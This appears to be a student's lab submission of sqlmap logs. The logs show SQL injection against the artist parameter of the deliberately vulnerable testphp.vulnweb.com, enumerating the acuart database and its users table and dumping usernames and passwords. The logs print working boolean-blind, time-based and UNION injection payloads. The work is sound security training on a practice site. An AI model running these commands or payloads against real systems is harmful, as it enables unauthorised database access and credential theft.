NAME: MOHAMED NAVEED
REGISTRATION NUMBER: 21BAI1808

```
└─$ sqlmap -u http://testphp.vulnweb.com/artists.php?artist=2 -dbs
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.7.7#stable}
|_ -| . [)]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's res
ponsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for
any misuse or damage caused by this program

[*] starting @ 16:43:21 /2023-09-30/

[16:43:21] [INFO] testing connection to the target URL
[16:43:22] [INFO] testing if the target URL content is stable
[16:43:22] [INFO] target URL content is stable
[16:43:22] [INFO] testing if GET parameter 'artist' is dynamic
[16:43:22] [INFO] GET parameter 'artist' appears to be dynamic
[16:43:23] [INFO] heuristic (basic) test shows that GET parameter 'artist' might be injectable (possible DBMS: 'MySQL')
[16:43:23] [INFO] testing for SQL injection on GET parameter 'artist'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
 y
[16:43:26] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:43:28] [INFO] GET parameter 'artist' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --
string="non")
[16:43:28] [INFO] testing 'Generic inline queries'
[16:43:28] [INFO] testing 'MySQL ≥ 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[16:43:28] [INFO] testing 'MySQL ≥ 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[16:43:29] [INFO] testing 'MySQL ≥ 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[16:43:29] [INFO] testing 'MySQL ≥ 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[16:43:29] [INFO] testing 'MySQL ≥ 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[16:43:29] [INFO] testing 'MySQL ≥ 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[16:43:30] [INFO] testing 'MySQL ≥ 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[16:43:30] [INFO] testing 'MySQL ≥ 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[16:43:31] [INFO] testing 'MySQL ≥ 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[16:43:31] [INFO] testing 'MySQL ≥ 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[16:43:31] [INFO] testing 'MySQL ≥ 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
```

```
Parameter: artist (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: artist=2 AND 5975=5975

    Type: time-based blind
    Title: MySQL ≥ 5.0.12 AND time-based blind (SLEEP)
    Payload: artist=2 AND SLEEP(5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-4826 UNION ALL SELECT CONCAT(0×716a706b71,0×6147594f756f7862775848797a44764f6f4c6373624d6250546545646843
6541734c644846484170,0×7171786b71),NULL,NULL-- -
---
[16:44:48] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.6.40, Nginx 1.19.0
back-end DBMS: MySQL ≥ 5.0.12
[16:44:50] [INFO] fetching tables for database: 'acuart'
Database: acuart
[8 tables]
+----------+
| artists  |
| carts    |
| categ    |
| featured |
| guestbook |
| pictures |
| products |
| users    |
+----------+

[16:44:50] [INFO] fetched data logged to text files under '/home/nxveed/.local/share/sqlmap/output/testphp.vulnweb.com'

[*] ending @ 16:44:50 /2023-09-30/
```

NAME: MOHAMED NAVEED
REGISTRATION NUMBER: 21BAI1808

```
┌──(nxveed㉿kali-gnu-linux-2023)-[~]
└─$ sqlmap -u http://testphp.vulnweb.com/artists.php?artist=2 -D acuart -T users --columns
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.7.7#stable}
|_ -| . ['] |     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's res
ponsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for
any misuse or damage caused by this program

[*] starting @ 16:44:26 /2023-09-30/

[16:44:26] [INFO] testing connection to the target URL
[16:44:27] [INFO] testing if the target URL content is stable
[16:44:27] [INFO] target URL content is stable
[16:44:27] [INFO] testing if GET parameter 'artist' is dynamic
[16:44:28] [INFO] GET parameter 'artist' appears to be dynamic
[16:44:28] [INFO] heuristic (basic) test shows that GET parameter 'artist' might be injectable (possible DBMS: 'MySQL')
[16:44:28] [INFO] testing for SQL injection on GET parameter 'artist'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
 y
[16:44:33] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:44:34] [INFO] GET parameter 'artist' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --
string="non")
[16:44:34] [INFO] testing 'Generic inline queries'
[16:44:35] [INFO] testing 'MySQL ≥ 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[16:44:35] [INFO] testing 'MySQL ≥ 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[16:44:36] [INFO] testing 'MySQL ≥ 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[16:44:36] [INFO] testing 'MySQL ≥ 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[16:44:36] [INFO] testing 'MySQL ≥ 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[16:44:37] [INFO] testing 'MySQL ≥ 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[16:44:37] [INFO] testing 'MySQL ≥ 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[16:44:37] [INFO] testing 'MySQL ≥ 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[16:44:38] [INFO] testing 'MySQL ≥ 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[16:44:38] [INFO] testing 'MySQL ≥ 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[16:44:39] [INFO] testing 'MySQL ≥ 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[16:44:39] [INFO] testing 'MySQL ≥ 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'

[16:45:17] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.6.40, Nginx 1.19.0
back-end DBMS: MySQL ≥ 5.0.12
[16:45:17] [INFO] fetching columns for table 'users' in database 'acuart'
Database: acuart
Table: users
[8 columns]
+---------+--------------+
| Column  | Type         |
+---------+--------------+
| name    | varchar(100) |
| address | mediumtext   |
| cart    | varchar(100) |
| cc      | varchar(100) |
| email   | varchar(100) |
| pass    | varchar(100) |
| phone   | varchar(100) |
| uname   | varchar(100) |
+---------+--------------+

[16:45:17] [INFO] fetched data logged to text files under '/home/nxveed/.local/share/sqlmap/output/testphp.vulnweb.com'

[*] ending @ 16:45:17 /2023-09-30/
```

NAME: MOHAMED NAVEED
REGISTRATION NUMBER: 21BAI1808

```
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's res
ponsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for
any misuse or damage caused by this program

[*] starting @ 16:46:03 /2023-09-30/

[16:46:03] [INFO] resuming back-end DBMS 'mysql'
[16:46:03] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: artist (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: artist=2 AND 6918=6918

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: artist=2 AND (SELECT 5465 FROM (SELECT(SLEEP(5)))TOJY)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-2368 UNION ALL SELECT 70,70,CONCAT(0x716a627071,0x446d6170774d487863556d4463764673556b566b6c53486953754f
6544576b4677636c47796c6c67,0x7176767071)-- -
---
[16:46:04] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.6.40, Nginx 1.19.0
back-end DBMS: MySQL >= 5.0.12
[16:46:04] [INFO] fetching entries of column(s) 'uname' for table 'users' in database 'acuart'
Database: acuart
Table: users
[1 entry]
+-------+
| uname |
+-------+
| test  |
+-------+
[16:46:27] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: artist (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: artist=2 AND 6918=6918

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: artist=2 AND (SELECT 5465 FROM (SELECT(SLEEP(5)))TOJY)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-2368 UNION ALL SELECT 70,70,CONCAT(0x716a627071,0x446d6170774d487863556d4463764673556b566b6c53486953754f
6544576b4677636c47796c6c67,0x7176767071)-- -
---
[16:46:28] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.6.40, Nginx 1.19.0
back-end DBMS: MySQL >= 5.0.12
[16:46:28] [INFO] fetching entries of column(s) 'pass' for table 'users' in database 'acuart'
Database: acuart
Table: users
[1 entry]
+------+
| pass |
+------+
| test |
+------+

[16:46:29] [INFO] table 'acuart.users' dumped to CSV file '/home/nxveed/.local/share/sqlmap/output/testphp.vulnweb.com/dump/a
cuart/users.csv'
[16:46:29] [INFO] fetched data logged to text files under '/home/nxveed/.local/share/sqlmap/output/testphp.vulnweb.com'

[*] ending @ 16:46:29 /2023-09-30/
```